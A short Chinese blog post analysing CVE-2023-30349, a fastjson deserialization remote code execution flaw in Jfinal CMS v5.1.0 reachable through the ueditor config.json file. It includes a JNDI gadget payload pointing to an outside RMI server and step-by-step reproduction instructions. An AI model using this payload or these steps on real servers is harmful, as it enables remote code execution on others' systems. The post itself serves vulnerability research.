Jfinal CMS v5.1.0 RCE(CVE-2023-30349)分析
2023-05-24
2 min read
#前言
Jfinal cms是一个java开发的功能强大的信息咨询网站,采用了简洁强大的JFinal作为web框架,模板引擎用的是beetl,数据库用mysql,前端bootstrap框架。
漏洞分析
在ueditor路由中,会实例化ActionEnter类。
在这个过程中,调用了ActionEnter的有参构造函数,调用了ConfigManager.getInstance()方法
继续跟进,通过new实例化ConfigManager对象并返回
继续跟进ConfigManager的构造函数,最后是调用了initEnv()
这里调用了JSONObject.parseObject()
,如果configContent
变量可控,在合适的fastjson版本下,可能存在反序列化漏洞。
发现该文件存放在WEB-INF/classes/config.json
,而后台又恰好有模版管理,可以替换该文件!
此时我们就发现了fastjson的前置利用条件,此时我们去看一下fastjson的版本。
1.2.62版本payload以及利用条件:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://172.20.10.8:1099/jy8jp6"}
- 需要开启autotype
- 需要引入
org.apache.xbean
依赖
这就有点鸡肋了.....
漏洞复现
引入org.apache.xbean
依赖并开启autotype
然后登陆后台替换WEB-INF/classes/config.json
然后访问http://localhost:8089/jfinal_cms/ueditor
,即可触发漏洞。